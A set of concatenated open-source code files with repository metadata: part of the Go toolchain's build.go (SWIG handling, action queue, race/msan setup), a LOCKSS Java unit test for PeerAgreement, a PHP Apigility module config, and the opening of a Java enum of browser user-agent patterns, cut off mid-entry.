error) { swigIntSizeOnce.Do(func() { swigIntSize, swigIntSizeError = b.swigDoIntSize(obj) }) return swigIntSize, swigIntSizeError } // Run SWIG on one SWIG input file. func (b *builder) swigOne(p *Package, file, obj string, pcCFLAGS []string, cxx bool, intgosize string) (outGo, outC string, err error) { cgoCPPFLAGS, cgoCFLAGS, cgoCXXFLAGS, _, _ := b.cflags(p, true) var cflags []string if cxx { cflags = stringList(cgoCPPFLAGS, pcCFLAGS, cgoCXXFLAGS) } else { cflags = stringList(cgoCPPFLAGS, pcCFLAGS, cgoCFLAGS) } n := 5 // length of ".swig" if cxx { n = 8 // length of ".swigcxx" } base := file[:len(file)-n] goFile := base + ".go" gccBase := base + "_wrap." gccExt := "c" if cxx { gccExt = "cxx" } _, gccgo := buildToolchain.(gccgoToolchain) // swig args := []string{ "-go", "-cgo", "-intgosize", intgosize, "-module", base, "-o", obj + gccBase + gccExt, "-outdir", obj, } for _, f := range cflags { if len(f) > 3 && f[:2] == "-I" { args = append(args, f) } } if gccgo { args = append(args, "-gccgo") if pkgpath := gccgoPkgpath(p); pkgpath != "" { args = append(args, "-go-pkgpath", pkgpath) } } if cxx { args = append(args, "-c++") } out, err := b.runOut(p.Dir, p.ImportPath, nil, "swig", args, file) if err != nil { if len(out) > 0 { if bytes.Contains(out, []byte("-intgosize")) || bytes.Contains(out, []byte("-cgo")) { return "", "", errors.New("must have SWIG version >= 3.0.6") } b.showOutput(p.Dir, p.ImportPath, b.processOutput(out)) // swig error return "", "", errPrintedOutput } return "", "", err } if len(out) > 0 { b.showOutput(p.Dir, p.ImportPath, b.processOutput(out)) // swig warning } return obj + goFile, obj + gccBase + gccExt, nil } // disableBuildID adjusts a linker command line to avoid creating a // build ID when creating an object file rather than an executable or // shared library. Some systems, such as Ubuntu, always add // --build-id to every link, but we don't want a build ID when we are // producing an object file. On some of those system a plain -r (not // -Wl,-r) will turn off --build-id, but clang 3.0 doesn't support a // plain -r. I don't know how to turn off --build-id when using clang // other than passing a trailing --build-id=none. So that is what we // do, but only on systems likely to support it, which is to say, // systems that normally use gold or the GNU linker. func (b *builder) disableBuildID(ldflags []string) []string { switch goos { case "android", "dragonfly", "linux", "netbsd": ldflags = append(ldflags, "-Wl,--build-id=none") } return ldflags } // An actionQueue is a priority queue of actions. type actionQueue []*action // Implement heap.Interface func (q *actionQueue) Len() int { return len(*q) } func (q *actionQueue) Swap(i, j int) { (*q)[i], (*q)[j] = (*q)[j], (*q)[i] } func (q *actionQueue) Less(i, j int) bool { return (*q)[i].priority < (*q)[j].priority } func (q *actionQueue) Push(x interface{}) { *q = append(*q, x.(*action)) } func (q *actionQueue) Pop() interface{} { n := len(*q) - 1 x := (*q)[n] *q = (*q)[:n] return x } func (q *actionQueue) push(a *action) { heap.Push(q, a) } func (q *actionQueue) pop() *action { return heap.Pop(q).(*action) } func instrumentInit() { if !buildRace && !buildMSan { return } if buildRace && buildMSan { fmt.Fprintf(os.Stderr, "go %s: may not use -race and -msan simultaneously", flag.Args()[0]) os.Exit(2) } if goarch != "amd64" || goos != "linux" && goos != "freebsd" && goos != "darwin" && goos != "windows" { fmt.Fprintf(os.Stderr, "go %s: -race and -msan are only supported on linux/amd64, freebsd/amd64, darwin/amd64 and windows/amd64\n", flag.Args()[0]) os.Exit(2) } if !buildContext.CgoEnabled { fmt.Fprintf(os.Stderr, "go %s: -race requires cgo; enable cgo by setting CGO_ENABLED=1\n", flag.Args()[0]) os.Exit(2) } if buildRace { buildGcflags = append(buildGcflags, "-race") buildLdflags = append(buildLdflags, "-race") } else { buildGcflags = append(buildGcflags, "-msan") buildLdflags = append(buildLdflags, "-msan") } if buildContext.InstallSuffix != "" { buildContext.InstallSuffix += "_" } if buildRace { buildContext.InstallSuffix += "race" buildContext.BuildTags = append(buildContext.BuildTags, "race") } else { buildContext.InstallSuffix += "msan" buildContext.BuildTags = append(buildContext.BuildTags, "msan") } }
ganboing/go-esx
src/cmd/go/build.go
GO
bsd-3-clause
110,699
/* * $Id$ */ /* Copyright (c) 2013-2016 Board of Trustees of Leland Stanford Jr. University, all rights reserved. Permission is hereby granted, free of charge, to any person obtaining a copy of this software and associated documentation files (the "Software"), to deal in the Software without restriction, including without limitation the rights to use, copy, modify, merge, publish, distribute, sublicense, and/or sell copies of the Software, and to permit persons to whom the Software is furnished to do so, subject to the following conditions: The above copyright notice and this permission notice shall be included in all copies or substantial portions of the Software. THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL STANFORD UNIVERSITY BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE. Except as contained in this notice, the name of Stanford University shall not be used in advertising or otherwise to promote the sale, use or other dealings in this Software without prior written authorization from Stanford University. */ package org.lockss.protocol; import org.lockss.test.*; import org.lockss.util.*; import java.util.*; public class TestPeerAgreement extends LockssTestCase { public void testNoAgreementInstance() { assertEquals(-1.0f, PeerAgreement.NO_AGREEMENT.getPercentAgreement()); assertEquals(0, PeerAgreement.NO_AGREEMENT.getPercentAgreementTime()); assertEquals(-1.0f, PeerAgreement.NO_AGREEMENT.getHighestPercentAgreement()); assertEquals(0, PeerAgreement.NO_AGREEMENT.getHighestPercentAgreementTime()); } public void testSignalAgreement() { PeerAgreement agreement = PeerAgreement.NO_AGREEMENT.signalAgreement(0.5f, 100); assertEquals(0.5f, agreement.getPercentAgreement()); assertEquals(100, agreement.getPercentAgreementTime()); assertEquals(0.5f, agreement.getHighestPercentAgreement()); assertEquals(100, agreement.getHighestPercentAgreementTime()); // Make a new one with another signal. agreement = agreement.signalAgreement(0.4f, 200); assertEquals(0.4f, agreement.getPercentAgreement()); assertEquals(200, agreement.getPercentAgreementTime()); assertEquals(0.5f, agreement.getHighestPercentAgreement()); assertEquals(100, agreement.getHighestPercentAgreementTime()); // Make a new one with another signal, with a better percent agreement = agreement.signalAgreement(0.6f, 300); assertEquals(0.6f, agreement.getPercentAgreement()); assertEquals(300, agreement.getPercentAgreementTime()); assertEquals(0.6f, agreement.getHighestPercentAgreement()); assertEquals(300, agreement.getHighestPercentAgreementTime()); // Make a new one with another signal, with time going backwards; // perfectly ok. agreement = agreement.signalAgreement(0.3f, 50); assertEquals(0.3f, agreement.getPercentAgreement()); assertEquals(50, agreement.getPercentAgreementTime()); assertEquals(0.6f, agreement.getHighestPercentAgreement()); assertEquals(300, agreement.getHighestPercentAgreementTime()); } public void testSignalAgreementThrow() { PeerAgreement.NO_AGREEMENT.signalAgreement(1.0f, 100); PeerAgreement.NO_AGREEMENT.signalAgreement(0.0f, 100); try { PeerAgreement.NO_AGREEMENT.signalAgreement(1.00001f, 100); fail(); } catch (IllegalArgumentException e) { // expected } try { PeerAgreement.NO_AGREEMENT.signalAgreement(-0.00001f, 100); fail(); } catch (IllegalArgumentException e) { // expected } // Negative time? Sure! PeerAgreement.NO_AGREEMENT.signalAgreement(1.0f, -100); } public void testMerge() { assertEquals(PeerAgreement.NO_AGREEMENT, PeerAgreement.NO_AGREEMENT.mergeWith(null)); assertEquals(PeerAgreement.NO_AGREEMENT, PeerAgreement.NO_AGREEMENT.mergeWith(PeerAgreement.NO_AGREEMENT)); PeerAgreement a1 = PeerAgreement.NO_AGREEMENT.signalAgreement(0.5f, 100); assertEquals(a1, a1.mergeWith(a1)); assertEquals(a1, a1.mergeWith(PeerAgreement.NO_AGREEMENT)); assertEquals(a1, PeerAgreement.NO_AGREEMENT.mergeWith(a1)); assertEquals(a1, a1.mergeWith(null)); PeerAgreement a2 = PeerAgreement.NO_AGREEMENT.signalAgreement(0.75f, 200); assertEquals(a2, a2.mergeWith(a1)); assertEquals(a2, a1.mergeWith(a2)); assertEquals(a2, a2.mergeWith(a1)); PeerAgreement a3 = PeerAgreement.NO_AGREEMENT.signalAgreement(0.6f, 50); PeerAgreement a13 = PeerAgreement.NO_AGREEMENT .signalAgreement(0.6f, 50) .signalAgreement(0.5f, 100); assertEquals(a3, a3.mergeWith(a3)); assertEquals(a13, a1.mergeWith(a3)); assertEquals(a13, a3.mergeWith(a1)); } // Test the conversion from IdentityAgreement to PeerAgreement. public void testIdentityAgreement() { IdentityManager.IdentityAgreement idAgreement = new IdentityManager.IdentityAgreement("foo"); idAgreement.setLastAgree(100); idAgreement.setLastDisagree(200); idAgreement.setPercentAgreement(0.5f); idAgreement.setPercentAgreement(0.4f); PeerAgreement agreement = PeerAgreement.porAgreement(idAgreement); assertEquals(0.4f, agreement.getPercentAgreement()); assertEquals(200, agreement.getPercentAgreementTime()); assertEquals(0.5f, agreement.getHighestPercentAgreement()); assertEquals(0, agreement.getHighestPercentAgreementTime()); idAgreement.setPercentAgreementHint(0.7f); idAgreement.setPercentAgreementHint(0.6f); agreement = PeerAgreement.porAgreementHint(idAgreement); assertEquals(0.6f, agreement.getPercentAgreement()); assertEquals(0, agreement.getPercentAgreementTime()); assertEquals(0.7f, agreement.getHighestPercentAgreement()); assertEquals(0, agreement.getHighestPercentAgreementTime()); } }
edina/lockss-daemon
test/src/org/lockss/protocol/TestPeerAgreement.java
Java
bsd-3-clause
6,120
<?php return array( 'controllers' => array( 'factories' => array( 'test\\V1\\Rpc\\Test\\Controller' => 'test\\V1\\Rpc\\Test\\TestControllerFactory', 'test\\V1\\Rpc\\Test2\\Controller' => 'test\\V1\\Rpc\\Test2\\Test2ControllerFactory', ), ), 'router' => array( 'routes' => array( 'test.rpc.test' => array( 'type' => 'Segment', 'options' => array( 'route' => 'test/', 'defaults' => array( 'controller' => 'test\\V1\\Rpc\\Test\\Controller', 'action' => 'test', ), ), ), 'test.rpc.test2' => array( 'type' => 'Segment', 'options' => array( 'route' => 'test2', 'defaults' => array( 'controller' => 'test\\V1\\Rpc\\Test2\\Controller', 'action' => 'test2', ), ), ), 'test.rest.resttest' => array( 'type' => 'Segment', 'options' => array( 'route' => '/resttest[/:resttest_id]', 'defaults' => array( 'controller' => 'test\\V1\\Rest\\Resttest\\Controller', ), ), ), ), ), 'zf-versioning' => array( 'uri' => array( 0 => 'test.rpc.test', 1 => 'test.rpc.test2', 2 => 'test.rest.resttest', ), ), 'zf-rpc' => array( 'test\\V1\\Rpc\\Test\\Controller' => array( 'service_name' => 'test', 'http_methods' => array( 0 => 'GET', ), 'route_name' => 'test.rpc.test', ), 'test\\V1\\Rpc\\Test2\\Controller' => array( 'service_name' => 'test2', 'http_methods' => array( 0 => 'GET', ), 'route_name' => 'test.rpc.test2', ), ), 'zf-content-negotiation' => array( 'controllers' => array( 'test\\V1\\Rpc\\Test\\Controller' => 'Json', 'test\\V1\\Rpc\\Test2\\Controller' => 'Json', 'test\\V1\\Rest\\Resttest\\Controller' => 'HalJson', ), 'accept_whitelist' => array( 'test\\V1\\Rpc\\Test\\Controller' => array( 0 => 'application/vnd.test.v1+json', 1 => 'application/json', 2 => 'application/*+json', ), 'test\\V1\\Rpc\\Test2\\Controller' => array( 0 => 'application/vnd.test.v1+json', 1 => 'application/json', 2 => 'application/*+json', ), 'test\\V1\\Rest\\Resttest\\Controller' => array( 0 => 'application/vnd.test.v1+json', 1 => 'application/hal+json', 2 => 'application/json', ), ), 'content_type_whitelist' => array( 'test\\V1\\Rpc\\Test\\Controller' => array( 0 => 'application/vnd.test.v1+json', 1 => 'application/json', ), 'test\\V1\\Rpc\\Test2\\Controller' => array( 0 => 'application/vnd.test.v1+json', 1 => 'application/json', ), 'test\\V1\\Rest\\Resttest\\Controller' => array( 0 => 'application/vnd.test.v1+json', 1 => 'application/json', ), ), ), 'service_manager' => array( 'factories' => array( 'test\\V1\\Rest\\Resttest\\ResttestResource' => 'test\\V1\\Rest\\Resttest\\ResttestResourceFactory', ), ), 'zf-rest' => array( 'test\\V1\\Rest\\Resttest\\Controller' => array( 'listener' => 'test\\V1\\Rest\\Resttest\\ResttestResource', 'route_name' => 'test.rest.resttest', 'route_identifier_name' => 'resttest_id', 'collection_name' => 'resttest', 'entity_http_methods' => array( 0 => 'GET', 1 => 'PATCH', 2 => 'PUT', 3 => 'DELETE', ), 'collection_http_methods' => array( 0 => 'GET', 1 => 'POST', ), 'collection_query_whitelist' => array(), 'page_size' => 25, 'page_size_param' => null, 'entity_class' => 'test\\V1\\Rest\\Resttest\\ResttestEntity', 'collection_class' => 'test\\V1\\Rest\\Resttest\\ResttestCollection', 'service_name' => 'resttest', ), ), 'zf-hal' => array( 'metadata_map' => array( 'test\\V1\\Rest\\Resttest\\ResttestEntity' => array( 'entity_identifier_name' => 'id', 'route_name' => 'test.rest.resttest', 'route_identifier_name' => 'resttest_id', 'hydrator' => 'Zend\\Stdlib\\Hydrator\\ArraySerializable', ), 'test\\V1\\Rest\\Resttest\\ResttestCollection' => array( 'entity_identifier_name' => 'id', 'route_name' => 'test.rest.resttest', 'route_identifier_name' => 'resttest_id', 'is_collection' => true, ), ), ), 'zf-apigility' => array( 'db-connected' => array( 'test\\V1\\Rest\\Testsql\\TestsqlResource' => array( 'adapter_name' => 'test_sqlite', 'table_name' => 'testsql', 'hydrator_name' => 'Zend\\Stdlib\\Hydrator\\ArraySerializable', 'controller_service_name' => 'test\\V1\\Rest\\Testsql\\Controller', 'entity_identifier_name' => 'id', ), ), ), );
FMJaguar/heroku-apigility-test
module/test/config/module.config.php
PHP
bsd-3-clause
5,895
/* * Copyright (c) 2008-2014, Harald Walker (bitwalker.eu) and contributing developers * All rights reserved. * * Redistribution and use in source and binary forms, with or * without modification, are permitted provided that the * following conditions are met: * * * Redistributions of source code must retain the above * copyright notice, this list of conditions and the following * disclaimer. * * * Redistributions in binary form must reproduce the above * copyright notice, this list of conditions and the following * disclaimer in the documentation and/or other materials * provided with the distribution. * * * Neither the name of bitwalker nor the names of its * contributors may be used to endorse or promote products * derived from this software without specific prior written * permission. * * THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND * CONTRIBUTORS "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, * INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF * MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE * DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT OWNER OR * CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, * SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT * NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; * LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) * HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN * CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR * OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS * SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. */ package eu.bitwalker.useragentutils; import java.util.ArrayList; import java.util.List; import java.util.regex.Matcher; import java.util.regex.Pattern; /** * Enum constants for most common browsers, including e-mail clients and bots. * @author harald * */ public enum Browser { /** * Outlook email client */ OUTLOOK( Manufacturer.MICROSOFT, null, 100, "Outlook", new String[] {"MSOffice"}, null, BrowserType.EMAIL_CLIENT, RenderingEngine.WORD, "MSOffice (([0-9]+))"), // before IE7 /** * Microsoft Outlook 2007 identifies itself as MSIE7 but uses the html rendering engine of Word 2007. * Example user agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0; SLCC1; .NET CLR 2.0.50727; .NET CLR 3.0.04506; .NET CLR 1.1.4322; MSOffice 12) */ OUTLOOK2007( Manufacturer.MICROSOFT, Browser.OUTLOOK, 107, "Outlook 2007", new String[] {"MSOffice 12"}, null, BrowserType.EMAIL_CLIENT, RenderingEngine.WORD, null), // before IE7 OUTLOOK2013( Manufacturer.MICROSOFT, Browser.OUTLOOK, 109, "Outlook 2013", new String[] {"Microsoft Outlook 15"}, null, BrowserType.EMAIL_CLIENT, RenderingEngine.WORD, null), // before IE7 /** * Outlook 2010 is still using the rendering engine of Word. http://www.fixoutlook.org */ OUTLOOK2010( Manufacturer.MICROSOFT, Browser.OUTLOOK, 108, "Outlook 2010", new String[] {"MSOffice 14", "Microsoft Outlook 14"}, null, BrowserType.EMAIL_CLIENT, RenderingEngine.WORD, null), // before IE7 /** * Family of Internet Explorer browsers */ IE( Manufacturer.MICROSOFT, null, 1, "Internet Explorer", new String[] { "MSIE", "Trident", "IE " }, null, BrowserType.WEB_BROWSER, RenderingEngine.TRIDENT, "MSIE (([\\d]+)\\.([\\w]+))" ), // before Mozilla /** * Since version 7 Outlook Express is identifying itself. By detecting Outlook Express we can not * identify the Internet Explorer version which is probably used for the rendering. * Obviously this product is now called Windows Live Mail Desktop or just Windows Live Mail. */ OUTLOOK_EXPRESS7( Manufacturer.MICROSOFT, Browser.IE, 110, "Windows Live Mail", new String[] {"Outlook-Express/7.0"}, null, BrowserType.EMAIL_CLIENT, RenderingEngine.TRIDENT, null), // before IE7, previously known as Outlook Express. First released in 2006, offered with different name later /** * Since 2007 the mobile edition of Internet Explorer identifies itself as IEMobile in the user-agent. * If previous versions have to be detected, use the operating system information as well. */ IEMOBILE11( Manufacturer.MICROSOFT, Browser.IE, 125, "IE Mobile 11", new String[] { "IEMobile/11" }, null, BrowserType.MOBILE_BROWSER, RenderingEngine.TRIDENT, null), // before MSIE strings IEMOBILE10( Manufacturer.MICROSOFT, Browser.IE, 124, "IE Mobile 10", new String[] { "IEMobile/10" }, null, BrowserType.MOBILE_BROWSER, RenderingEngine.TRIDENT, null), // before MSIE strings IEMOBILE9( Manufacturer.MICROSOFT, Browser.IE, 123, "IE Mobile 9", new String[] { "IEMobile/9" }, null, BrowserType.MOBILE_BROWSER, RenderingEngine.TRIDENT, null), // before MSIE strings IEMOBILE7( Manufacturer.MICROSOFT, Browser.IE, 121, "IE Mobile 7", new String[] { "IEMobile 7" }, null, BrowserType.MOBILE_BROWSER, RenderingEngine.TRIDENT, null), // before MSIE strings IEMOBILE6( Manufacturer.MICROSOFT, Browser.IE, 120, "IE Mobile 6", new String[] { "IEMobile 6" }, null, BrowserType.MOBILE_BROWSER, RenderingEngine.TRIDENT, null), // before MSIE IE11( Manufacturer.MICROSOFT, Browser.IE, 95, "Internet Explorer 11", new String[] { "Trident/7", "IE 11." }, new String[] {"MSIE 7"}, BrowserType.WEB_BROWSER, RenderingEngine.TRIDENT, "(?:Trident\\/7|IE)(?:\\.[0-9]*;)?(?:.*rv:| )(([0-9]+)\\.?([0-9]+))" ), // before Mozilla IE10( Manufacturer.MICROSOFT, Browser.IE, 92, "Internet Explorer 10", new String[] { "MSIE 10" }, null, BrowserType.WEB_BROWSER, RenderingEngine.TRIDENT, null ), // before MSIE IE9( Manufacturer.MICROSOFT, Browser.IE, 90, "Internet Explorer 9", new String[] { "MSIE 9" }, null, BrowserType.WEB_BROWSER, RenderingEngine.TRIDENT, null ), // before MSIE IE8( Manufacturer.MICROSOFT, Browser.IE, 80, "Internet Explorer 8", new String[] { "MSIE 8" }, null, BrowserType.WEB_BROWSER, RenderingEngine.TRIDENT, null ), // before MSIE IE7( Manufacturer.MICROSOFT, Browser.IE, 70, "Internet Explorer 7", new String[] { "MSIE 7" }, null, BrowserType.WEB_BROWSER, RenderingEngine.TRIDENT, null), // before MSIE IE6( Manufacturer.MICROSOFT, Browser.IE, 60, "Internet Explorer 6", new String[] { "MSIE 6" }, null, BrowserType.WEB_BROWSER, RenderingEngine.TRIDENT, null ), // before MSIE IE5_5( Manufacturer.MICROSOFT, Browser.IE, 55, "Internet Explorer 5.5", new String[] { "MSIE 5.5" }, null, BrowserType.WEB_BROWSER, RenderingEngine.TRIDENT, null), // before MSIE IE5( Manufacturer.MICROSOFT, Browser.IE, 50, "Internet Explorer 5", new String[] { "MSIE 5" }, null, BrowserType.WEB_BROWSER, RenderingEngine.TRIDENT, null ), // before MSIE /** * Google Chrome browser */ CHROME( Manufacturer.GOOGLE, null, 1, "Chrome", new String[] { "Chrome", "CrMo", "CriOS" }, new String[] { "OPR/", "Web Preview" } , BrowserType.WEB_BROWSER, RenderingEngine.WEBKIT, "Chrome\\/(([0-9]+)\\.?([\\w]+)?(\\.[\\w]+)?(\\.[\\w]+)?)" ), // before Mozilla CHROME_MOBILE( Manufacturer.GOOGLE, Browser.CHROME, 100, "Chrome Mobile", new String[] { "CrMo","CriOS", "Mobile Safari" }, null, BrowserType.MOBILE_BROWSER, RenderingEngine.WEBKIT, "(?:CriOS|CrMo|Chrome)\\/(([0-9]+)\\.?([\\w]+)?(\\.[\\w]+)?(\\.[\\w]+)?)" ), CHROME40( Manufacturer.GOOGLE, Browser.CHROME, 45, "Chrome 40", new String[] { "Chrome/40" }, new String[] { "OPR/", "Web Preview" }, BrowserType.WEB_BROWSER, RenderingEngine.WEBKIT, null ), // before Mozilla CHROME39( Manufacturer.GOOGLE, Browser.CHROME, 44, "Chrome 39", new String[] { "Chrome/39" }, new String[] { "OPR/", "Web Preview" }, BrowserType.WEB_BROWSER, RenderingEngine.WEBKIT, null ), // before Mozilla CHROME38( Manufacturer.GOOGLE, Browser.CHROME, 43, "Chrome 38", new String[] { "Chrome/38" }, new String[] { "OPR/", "Web Preview" }, BrowserType.WEB_BROWSER, RenderingEngine.WEBKIT, null ), // before Mozilla CHROME37( Manufacturer.GOOGLE, Browser.CHROME, 42, "Chrome 37", new String[] { "Chrome/37" }, new String[] { "OPR/", "Web Preview" }, BrowserType.WEB_BROWSER, RenderingEngine.WEBKIT, null ), // before Mozilla CHROME36( Manufacturer.GOOGLE, Browser.CHROME, 41, "Chrome 36", new String[] { "Chrome/36" }, new String[] { "OPR/", "Web Preview" }, BrowserType.WEB_BROWSER, RenderingEngine.WEBKIT, null ), // before Mozilla CHROME35( Manufacturer.GOOGLE, Browser.CHROME, 40, "Chrome 35", new String[] { "Chrome/35" }, new String[] { "OPR/", "Web Preview" }, BrowserType.WEB_BROWSER, RenderingEngine.WEBKIT, null ), // before Mozilla CHROME34( Manufacturer.GOOGLE, Browser.CHROME, 39, "Chrome 34", new String[] { "Chrome/34" }, new String[] { "OPR/", "Web Preview" }, BrowserType.WEB_BROWSER, RenderingEngine.WEBKIT, null ), // before Mozilla CHROME33( Manufacturer.GOOGLE, Browser.CHROME, 38, "Chrome 33", new String[] { "Chrome/33" }, new String[] { "OPR/", "Web Preview" }, BrowserType.WEB_BROWSER, RenderingEngine.WEBKIT, null ), // before Mozilla CHROME32( Manufacturer.GOOGLE, Browser.CHROME, 37, "Chrome 32", new String[] { "Chrome/32" }, new String[] { "OPR/", "Web Preview" }, BrowserType.WEB_BROWSER, RenderingEngine.WEBKIT, null ), // before Mozilla CHROME31( Manufacturer.GOOGLE, Browser.CHROME, 36, "Chrome 31", new String[] { "Chrome/31" }, new String[] { "OPR/", "Web Preview" }, BrowserType.WEB_BROWSER, RenderingEngine.WEBKIT, null ), // before Mozilla CHROME30( Manufacturer.GOOGLE, Browser.CHROME, 35, "Chrome 30", new String[] { "Chrome/30" }, new String[] { "OPR/", "Web Preview" }, BrowserType.WEB_BROWSER, RenderingEngine.WEBKIT, null ), // before Mozilla CHROME29( Manufacturer.GOOGLE, Browser.CHROME, 34, "Chrome 29", new String[] { "Chrome/29" }, new String[] { "OPR/", "Web Preview" }, BrowserType.WEB_BROWSER, RenderingEngine.WEBKIT, null ), // before Mozilla CHROME28( Manufacturer.GOOGLE, Browser.CHROME, 33, "Chrome 28", new String[] { "Chrome/28" }, new String[] { "OPR/", "Web Preview" }, BrowserType.WEB_BROWSER, RenderingEngine.WEBKIT, null ), // before Mozilla CHROME27( Manufacturer.GOOGLE, Browser.CHROME, 32, "Chrome 27", new String[] { "Chrome/27" }, new String[] { "Web Preview" }, BrowserType.WEB_BROWSER, RenderingEngine.WEBKIT, null ), // before Mozilla CHROME26( Manufacturer.GOOGLE, Browser.CHROME, 31, "Chrome 26", new String[] { "Chrome/26" }, new String[] { "Web Preview" }, BrowserType.WEB_BROWSER, RenderingEngine.WEBKIT, null ), // before Mozilla CHROME25( Manufacturer.GOOGLE, Browser.CHROME, 30, "Chrome 25", new String[] { "Chrome/25" }, new String[] { "Web Preview" }, BrowserType.WEB_BROWSER, RenderingEngine.WEBKIT, null ), // before Mozilla CHROME24( Manufacturer.GOOGLE, Browser.CHROME, 29, "Chrome 24", new String[] { "Chrome/24" }, new String[] { "Web Preview" }, BrowserType.WEB_BROWSER, RenderingEngine.WEBKIT, null ), // before Mozilla CHROME23( Manufacturer.GOOGLE, Browser.CHROME, 28, "Chrome 23", new String[] { "Chrome/23" }, new String[] { "Web Preview" }, BrowserType.WEB_BROWSER, RenderingEngine.WEBKIT, null ), // before Mozilla CHROME22( Manufacturer.GOOGLE, Browser.CHROME, 27, "Chrome 22", new String[] { "Chrome/22" }, new String[] { "Web Preview" }, BrowserType.WEB_BROWSER, RenderingEngine.WEBKIT, null ), // before Mozilla CHROME21( Manufacturer.GOOGLE, Browser.CHROME, 26, "Chrome 21", new String[] { "Chrome/21" }, new String[] { "Web Preview" }, BrowserType.WEB_BROWSER, RenderingEngine.WEBKIT, null ), // before Mozilla CHROME20( Manufacturer.GOOGLE, Browser.CHROME, 25, "Chrome 20", new String[] { "Chrome/20" }, new String[] { "Web Preview" }, BrowserType.WEB_BROWSER, RenderingEngine.WEBKIT, null ), // before Mozilla CHROME19( Manufacturer.GOOGLE, Browser.CHROME, 24, "Chrome 19", new String[] { "Chrome/19" }, new String[] { "Web Preview" }, BrowserType.WEB_BROWSER, RenderingEngine.WEBKIT, null ), // before Mozilla CHROME18( Manufacturer.GOOGLE, Browser.CHROME, 23, "Chrome 18", new String[] { "Chrome/18" }, null, BrowserType.WEB_BROWSER, RenderingEngine.WEBKIT, null ), // before Mozilla CHROME17( Manufacturer.GOOGLE, Browser.CHROME, 22, "Chrome 17", new String[] { "Chrome/17" }, null, BrowserType.WEB_BROWSER, RenderingEngine.WEBKIT, null ), // before Mozilla CHROME16( Manufacturer.GOOGLE, Browser.CHROME, 21, "Chrome 16", new String[] { "Chrome/16" }, null, BrowserType.WEB_BROWSER, RenderingEngine.WEBKIT, null ), // before Mozilla CHROME15( Manufacturer.GOOGLE, Browser.CHROME, 20, "Chrome 15", new String[] { "Chrome/15" }, null, BrowserType.WEB_BROWSER, RenderingEngine.WEBKIT, null ), // before Mozilla CHROME14( Manufacturer.GOOGLE, Browser.CHROME, 19, "Chrome 14", new String[] { "Chrome/14" }, null, BrowserType.WEB_BROWSER, RenderingEngine.WEBKIT, null ), // before Mozilla CHROME13( Manufacturer.GOOGLE, Browser.CHROME, 18, "Chrome 13", new String[] { "Chrome/13" }, null, BrowserType.WEB_BROWSER, RenderingEngine.WEBKIT, null ), // before Mozilla CHROME12( Manufacturer.GOOGLE, Browser.CHROME, 17, "Chrome 12", new String[] { "Chrome/12" }, null, BrowserType.WEB_BROWSER, RenderingEngine.WEBKIT, null ), // before Mozilla CHROME11( Manufacturer.GOOGLE, Browser.CHROME, 16, "Chrome 11", new String[] { "Chrome/11" }, null, BrowserType.WEB_BROWSER, RenderingEngine.WEBKIT, null ), // before Mozilla CHROME10( Manufacturer.GOOGLE, Browser.CHROME, 15, "Chrome 10", new String[] { "Chrome/10" }, null, BrowserType.WEB_BROWSER, RenderingEngine.WEBKIT, null ), // before Mozilla CHROME9( Manufacturer.GOOGLE, Browser.CHROME, 10, "Chrome 9", new String[] { "Chrome/9" }, null, BrowserType.WEB_BROWSER, RenderingEngine.WEBKIT, null ), // before Mozilla CHROME8( Manufacturer.GOOGLE, Browser.CHROME, 5, "Chrome 8", new String[] { "Chrome/8" }, null, BrowserType.WEB_BROWSER, RenderingEngine.WEBKIT, null ), // before Mozilla OMNIWEB( Manufacturer.OTHER, null, 2, "Omniweb", new String[] { "OmniWeb" }, null, BrowserType.WEB_BROWSER, RenderingEngine.WEBKIT, null), // SAFARI( Manufacturer.APPLE, null, 1, "Safari", new String[] { "Safari" }, new String[] { "OPR/", "Coast/", "Web Preview","Googlebot-Mobile" }, BrowserType.WEB_BROWSER, RenderingEngine.WEBKIT, "Version\\/(([0-9]+)\\.?([\\w]+)?(\\.[\\w]+)?)" ), // before AppleWebKit BLACKBERRY10( Manufacturer.BLACKBERRY, Browser.SAFARI, 10, "BlackBerry", new String[] { "BB10" }, null, BrowserType.MOBILE_BROWSER, RenderingEngine.WEBKIT, null), MOBILE_SAFARI( Manufacturer.APPLE, Browser.SAFARI, 2, "Mobile Safari", new String[] { "Mobile Safari","Mobile/" }, new String[] { "Coast/", "Googlebot-Mobile" }, BrowserType.MOBILE_BROWSER, RenderingEngine.WEBKIT, null ), // before Safari SILK( Manufacturer.AMAZON, Browser.SAFARI, 15, "Silk", new String[] { "Silk/" }, null, BrowserType.WEB_BROWSER, RenderingEngine.WEBKIT, "Silk\\/(([0-9]+)\\.?([\\w]+)?(\\.[\\w]+)?(\\-[\\w]+)?)" ), // http://en.wikipedia.org/wiki/Amazon_Silk SAFARI8( Manufacturer.APPLE, Browser.SAFARI, 8, "Safari 8", new String[] { "Version/8" }, null, BrowserType.WEB_BROWSER, RenderingEngine.WEBKIT, null ), // before AppleWebKit SAFARI7( Manufacturer.APPLE, Browser.SAFARI, 7, "Safari 7", new String[] { "Version/7" }, null, BrowserType.WEB_BROWSER, RenderingEngine.WEBKIT, null ), // before AppleWebKit SAFARI6( Manufacturer.APPLE, Browser.SAFARI, 6, "Safari 